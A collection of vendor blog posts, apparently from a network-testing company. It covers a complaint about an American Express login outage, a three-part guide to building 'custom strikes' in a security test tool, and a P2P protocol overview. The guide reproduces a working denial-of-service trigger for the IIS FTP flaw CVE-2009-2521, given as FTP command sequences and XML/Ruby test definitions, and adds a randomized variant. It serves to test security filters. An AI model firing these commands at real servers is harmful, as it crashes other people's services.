Resiliency. Don't Leave Home Without It

This morning I found myself very frustrated as I attempted to fill out my expense report. Keeping track of expenses is a painful exercise. You must remember to get receipts, remember to save those receipts, keep those boarding passes and submit the report in a timely manner. Let’s face it. It is an enormous pain. Here is where my American Express card typically saves the day.

I do love my American Express card, it has never let me down and while I do a fairly good job of keeping up with my receipts, sometimes things slip my mind or I lose a receipt. In those cases the first thing I do is login to my American Express account check out all my statements (since I'm so environmentally friendly I've rid myself of those pesky paper statements). It is a great resource to double check that I haven't missed any expenses and it ensures I'm reimbursed for my work-related expenses.

Unfortunately, when I logged on this morning, this is what I saw:

Not only am I unable to access my account, they are unable to write an error message in proper English. Of course, once I saw this message I thought I’d simply hit the trusty back arrow and try again, except this time this is what I got:

“We’re Sorry”? That’s all you have to say about this? And you don't even have the decency to properly format the HTML to display in my browser?

In 2009 American Express did about $24 Billion in revenue with a net income of about $2.1 Billion, yet they haven't figured out whether their network and application infrastructure can handle the load of customers simply trying to check their recent card activity. You could probably argue that it is not a big deal if a handful of their customers cant login to see their statement and pay their bills. But, if their customers are unable to login and pay their bills, maybe those customers forget to “try again sometime” and pay their bill a lot later. If you've ever studied finance, you probably know about the time value of money. All other things being equal, American Express would much rather have my credit card payment today rather than next week, especially considering the financial climate over the last 18 months. Because of their network and application infrastructure failure, they aren't going to get my payment today.

While this in and of itself is a sizable issue, it really is more of a symptom of a larger and potentially far more catastrophic problem. Our security. American Express’ inability to support the required number of users logged into their network indicates a series of problems with their network infrastructure. Certain devices that make up their network infrastructure are unable to handle the load associated with everyday users logging in. It is very likely that the issue is isolated to a very small segment of their network infrastructure, but here is the problem: if one of the elements in their infrastructure is incapable of handling the requisite load, the entire infrastructure suffers.

Validating Infrastructure Resiliency

What my experience this morning has told me is that American Express hasn't validated the resiliency of their network infrastructure, particularly under load. What I'd really like to know is what would happen if American Express was subjected to a larger scale cyber attack. Would our personal information be vulnerable to evildoers?When validating a network or IT infrastructure there is a critical interrelationship between realistic applications, security, performance, currency and concurrency:

• Realistic applications and security means that network infrastructure is subjected to an appropriate blend of applications and malicious traffic that occur in the real world.
• Performance means that the infrastructure is kept under realistic load conditions.
• Currency refers to whether the applications and security are the latest versions, while concurrency is the amalgamation of the four previous factors.

The ability to handle all of those factors at the same time is what defines a resilient cyber infrastructure. Here is where American Express has failed. They certainly have tried to validate their network is secure. And it might be. But, clearly they have not validated their infrastructure under stressful performance conditions; otherwise I would have been able to access my account. Thus, they haven't really validated their network is secure. They've missed the concurrency aspect of resiliency.

Naysayers might claim that it is too hard to do all of this validation and be prepared for any conditions. And up until recently, they may have actually been right. But things have changed. One example is our announcement of the BreakingPoint Resiliency Score last week. This concept brings a scientific method to validating cyber infrastructure resiliency and removes the guesswork from the entire process.

Maybe if American Express had validated their cyber infrastructure's resiliency, I'd have been able to submit my expense report.

How to Create Custom Strikes Part III: Generating the Strike

In Part I of our look at how-to create custom strikes for testing we talked about finding and validating a vulnerability, and Part II took a look at how we went about creating the custom strike. Now we can look at the step-by-step directions for generating this custom strike using the BreakingPoint Elite.

To download the entire how-to guide, which includes all three parts, simply head over to our how-to guides section.

How to Generate a Custom Strike in BreakingPoint Elite

Step 1: Create a new Super Flow with the Custom Application flow.

Step 2: Add the Process Dblock XML action to the flow.

Step 3: Import XML Description File.

Step 4: Select XML file from local directory structure.

Step 5: Ensure the XML file is selected and click Apply.

Step 6: Open Attack Manager as illustrated and create a new Attack Series.

Step 7: Click the + button to add a strike to the default strike group.

Step 8: For the SELF.AppSimSuperFlow parameter, select the newly created Super Flow.

Step 9: Create a new test and add a security component to the test.

Step 10: In the Parameters tab, select the newly created Attack Series.

Step 11: Click Save to execute the test.

Results

Figure 12 illustrates the ASCII output generated from the Custom Strike Toolkit with the XML illustrated in the previous example.

Conclusion

We can now see how-to create customized security traffic utilizing the Custom Strike Toolkit for the BreakingPoint Elite. The step-by-step process listed in the how-to guide will allow even a novice user to quickly develop customized security strikes using this API. While the example illustrated in this document is rather straightforward, users can create security exploits that are as elaborate as necessary.

To download the how-to guide, which includes all three parts, simply head over to our resources section.

How To Create Custom Strikes Part II: Creating the Strike

UDPATE: To download the entire how-to guide, which includes all three parts, simply head over to our how-to guides section.

In Part I of our look at how-to create custom strikes for testing we talked about how to find and validate a vulnerability. Now I want to look at how we go about creating the custom strike and talk about exploit versus vulnerability. In Part III I will provide the step-by-step directions for then generating this custom strike using the BreakingPoint Elite.

Custom Strikes

Now that an appropriate security strike has been identified, we can start to describe the strike through the BreakingPoint Custom Strike Toolkit. The API supports the importing of XML-based description files that describe the flow of information between a client and server. The full XML file used to generate this strike will be included in the Appendix.

The custom strike XML begins with an “application” tag, which is the outer-most XML tag. This tag accepts two parameters: “sport” and “dport” for source port and destination port, respectively. Values of ‘0’ indicate random, and non-zero values are used for fixed ports. Our example looks like this:

    <application sport="0" dport="21">

    </application>

Note that the custom strike ends with the closing “application” tag. Everything written for the strike will come between these two tags.

Within the “application” tag, the custom strike API utilizes two additional tagged blocks that represent client and server transactions. Since our example uses FTP, we know that once the TCP connection is established, the server is first to send data.

    <server>

    <dblock type="ascii">220 Microsoft FTP Service\r\n</dblock>

    </server>

The FTP 220 response with the default Microsoft FTP Service message is sent from the server to the client. This particular XML block corresponds to packet 124 in Figure 8 (described in Part I).

Once the server has issued the greeting, the client must log in. To illustrate the severity of the vulnerability, an anonymous user was used. The server happily accepts anonymous logins.

    <client>

    <dblock type="ascii">USER anonymous\r\n</dblock>

    </client>

    <server>

    <dblock type="ascii">331 Anonymous access allowed, send identity (e-mail name) as password.\r\n</        dblock>

    </server>

These commands correspond to packets 141 and 142 in Figure 8. Once this process is completed, the password must be sent and accepted to complete the authentication process. Packets 146 and 147 in Figure 8 are represented by the following XML excerpt.

    <client>

    <dblock type="ascii">PASS anonymous@localhost\r\n</dblock>

    </client>

    <server>

    <dblock type="ascii">230 Anonymous user logged in.\r\n</dblock>

    </server>

The next several packets in Figure 8 correspond to the “ls –R p*/../” command issued from the FTP client. First a “PORT” command must be issued to open up a connection for the data channel. Packets 223 and 224 in Figure 8 represent this transaction.

    <client>

    <dblock store="ip_and_dest" type="ruby">

    <![CDATA[

    a = 5000 + rand(5000)

    a = a.to_s(base=16)

    a,b = a.scan(/../)

    a = a.to_i(base=16)

    b = b.to_i(base=16)

    a = a.to_s

    b = b.to_s

    ip_addr = get_var('caddr')

    ip_addr = ip_addr.gsub('.',',')

    d = ip_addr + "," + a + "," + b

    ]]>

    </dblock>

    <dblock type="ascii">PORT $(ip_and_dest)\r\n</dblock>

    </client>

    <server>

    <dblock type="ascii">200 PORT command successful.\r\n</dblock>

    </server>

The glaring difference in this code excerpt is the inclusion of a Ruby code block which handles the FTP formatting of destination IP address and port for the data socket. The Ruby code simply takes a dotted decimal IP address and exchanges the periods with commas, while concatenating a random TCP port with the IP address. This is of the form 10,10,10,20,198,84.

Once these commands have completed, the trigger command is sent.

    <client>

    <dblock type="ascii">NLST -R p*/../\r\n</dblock>

    </client>

    <server>

    <dblock type="ascii">150 Opening ASCII mode data connection for /bin/ls.\r\n</dblock>

    </server>

Packets 225 and 226 in Figure 8 illustrate the actual network traffic generated, while packet 244 illustrates the TCP RST packet sent by the server stack when the FTP service crashes.

Exploit vs. Vulnerability

While the XML code listed previously will generate an exploit to the IIS vulnerability exactly as captured from the local recreation, the FTP payload of the network traffic generated by the BreakingPoint Elite will remain static, even though the IP and TCP information will change. This sort of traffic would help to validate an exploit filter but not necessarily a vulnerability filter.

Software exploits are truly singular cases that trigger some sort of bad behavior in an application. Vulnerabilities are the general behavior of applications that allow particular scenarios to trigger bad behavior. The actual transaction sent that crashed the FTP service required there to be a folder named ‘pub’ that was readable by the user that logged into the FTP service. This case is truly an exploit to the IIS FTP service. This was what was actually coded in the XML. In contrast, the exploit is more than just issuing a “ls –R p*/../” command. For example, if we rerun this case with a different scenario, we can still trigger the vulnerability.

Figure 10: IIS Exploited with Different ‘ls’ Command

When testing a network device that would provide protection for this CVE, the tester will want to ensure that the filter in place is a vulnerability filter and not an exploit filter. If the device were using an exploit filter, then “ls –R p*/../” would likely be blocked while “ls –R m*/../” would not be blocked.

In order to test this, we must slightly modify the XML to selectively randomize the trigger string to ensure that the device under test is filtering the vulnerability, in other words, the full set of exploits, and not just a handful of singular cases.

    <client>

    <dblock type="ascii">NLST -R </dblock>

    <dblock type="text_rand_alphanumeric" min="1" max="10" />

    <dblock type="ascii">*/../\r\n</dblock>

    </client>

The modified XML does not just use a singular exploit pattern but will create many different variations of the traffic necessary to exploit the vulnerability. Figure 11 illustrates this.

Figure 11: Illustration of a Selectively Randomized Exploit

How To Create Custom Strikes in Testing: Finding, Validating and Understanding Vulnerabilities

UPDATE: To download the entire how-to guide, which includes all three parts, simply head over to our how-to guides section.

According to the National Institute of Standards and Technology’s National Vulnerability Database, there are currently more than 38,000 known security vulnerabilities. Not only is this number growing, but there are thousands of additional unknown vulnerabilities being discovered and written each day. Although BreakingPoint leads the testing industry in both security and application coverage, providing 4,200+ security strikes and 80+ application protocols, we also recognize the need to create customized vulnerability exploits. Last month we introduced the Custom Strike Toolkit to provide the ability for our users to create and generate any strike they want during testing (we provide a similar Custom Application Toolkit).

In order to detail how the Custom Strike Toolkit works we put together a “How-To” guide that not only describes the step-by-step process necessary to utilize the BreakingPoint Custom Strike Toolkit, but uses a real-world example of a zero-day exploit for the Internet Information Services (IIS) FTP service.

Today I look at part one of our "How To Create a Custom Strike" guide, examining how to find, validate and understand a vulnerability. Soon we will look at exploits versus vulnerabilities and finally finish it off with a detailed look at how to build and generate your own custom strike.

Finding and Validating the Vulnerability

For the purposes of the how-to guide, we will be using an FTP denial of service vulnerability, CVE-2009-2521, published by Nikolaos Rangos in September 2009.  Utilizing a specially crafted ‘ls’ command, an FTP client may cause the IIS service to crash.

The first step in the process is to validate that the vulnerability exists, and is exploitable. In this case, IIS 5.0 was installed on a standard PC platform running Windows XP.  The screenshot below illustrates the Microsoft IIS configuration utility.

Figure 1: Microsoft Configuration Utility

Once the FTP service has been installed and configured, the installation must be validated. The following screenshot shows the initial login screen illustrating that the FTP service is up and running.

Figure 2: Connected to Local FTP Service

As noted in the vulnerability publication, the only thing required to exploit this vulnerability is a directory that may be read by a user. To illustrate the severity of this vulnerability, an “anonymous” FTP user will read the “pub” folder in the root directory.

Figure 3: Anonymous User Successfully Logged In to IIS FTP Service

The next step in the exploit process is to issue the appropriate FTP command to trigger the vulnerability.

Figure 4: Specially Crafted ‘ls’ Command

Once this command has been issued, the damage has commenced. The following screenshot illustrates the output from the FTP client indicating that the server aborted the connection.

Figure 5: Many Directory Listings Followed By Server-side Close

In order to fully verify that the FTP service has been exploited, a quick look at the IIS management console shows that the service has stopped.

Figure 6: IIS FTP Service Crashed Due to Exploit

Understanding the Vulnerability

Now that we have successfully validated that the vulnerability does in fact exist, we now have to understand what the network traffic looks like that would actually exploit it. The following Wireshark stream flow shows the actual ASCII characters transmitted over the wire.

Figure 7: ASCII Output from Network Capture

Upon completion of the TCP handshake, the IIS FTP server responds with a “220 Microsoft FTP Service” message. The client must now authenticate, in this case, as an anonymous user with the “USER anonymous” command. The server responds with a “331” code allowing anonymous access to the FTP site. The “PORT” command then follows with the appropriate successful response. The key packet in the transaction happens when the “NLST –R p*/../” command is issued. A “150” response follows and the data channel starts streaming the directory listings recursively until the service dies. Once this happens, the server terminates the connection with a TCP Reset.

Figure 8: All Relevant FTP Control Channel Packets

Figure 9: All Relevant FTP Data Channel Packets

Taking A Look at P2P: Gnutella and BitTorrent

Whether you want to admit it or not, there is a high probability that P2P protocols are present on your network. No matter how hard you try (or don’t try) to lock down access. Understanding these protocols and how they work is extremely important for network managers, device manufacturers, and service providers. Today, in part three of our series examining the stateful application protocols BreakingPoint simulates during testing, I wanted to look at Gnutella and BitTorrent. These are two of the most popular peer to peer (P2P) file sharing protocols available today.

BitTorrent™ is probably the most recognized name in P2P file sharing currently. According to the Digital Music News Research Group, BitTorrent accounts for 15% of all P2P traffic. BitTorrent works in a way that is slightly different from other P2P applications. The software breaks up large files for transfer into many small pieces that may be downloaded from multiple peers simultaneously. This facilitates rapid file transfers as well as improving the ability of a downloading host to also act as a “seed” for downloads by other peers.

The increasing amount of bandwidth consumed by BitTorrent has resulted in many service providers utilizing deep packet inspection (DPI) technology to throttle BitTorrent bandwidth. However, BitTorrent also supports an encrypted mode of transfer which makes DPI classification much more difficult. Finally, BitTorrent has increased its use of the UDP transport which can sometimes make more efficient usage of available bandwidth than TCP.

Gnutella, while probably a less recognized name than BitTorrent, is estimated to have a P2P market share of roughly 35%, according to the Digital Music News Research Group. The reason it owns such a large percentage is that Gnutella is the actual file sharing protocol used by applications compatible with the Gnutella network. iMesh, Limewire, Morpheus, and Shareaza are well known applications that have all had, at some point, support for the Gnutella network.

Gnutella starts by finding a set of peers, either in cached addresses or discovered from those cached addresses that do work. Once connected, the peers can share searching information, as well as actually perform the file transfers. Most of the data transfer itself is then transmitted over HTTP.

Knowing what traffic is on your network, and being handled by network equipment, is important. But you also must have an understanding of how those protocols actually work in order to realistically test devices. Above are quick descriptions of the intricacies of both BitTorrent and Gnutella, and it is important that network equipment can recognize and handle these unique attributes. That is why BreakingPoint simulates the protocols statefully so that you can test under real-world conditions. I've written up more details on testing with both BitTorrent and Gnutella protocols.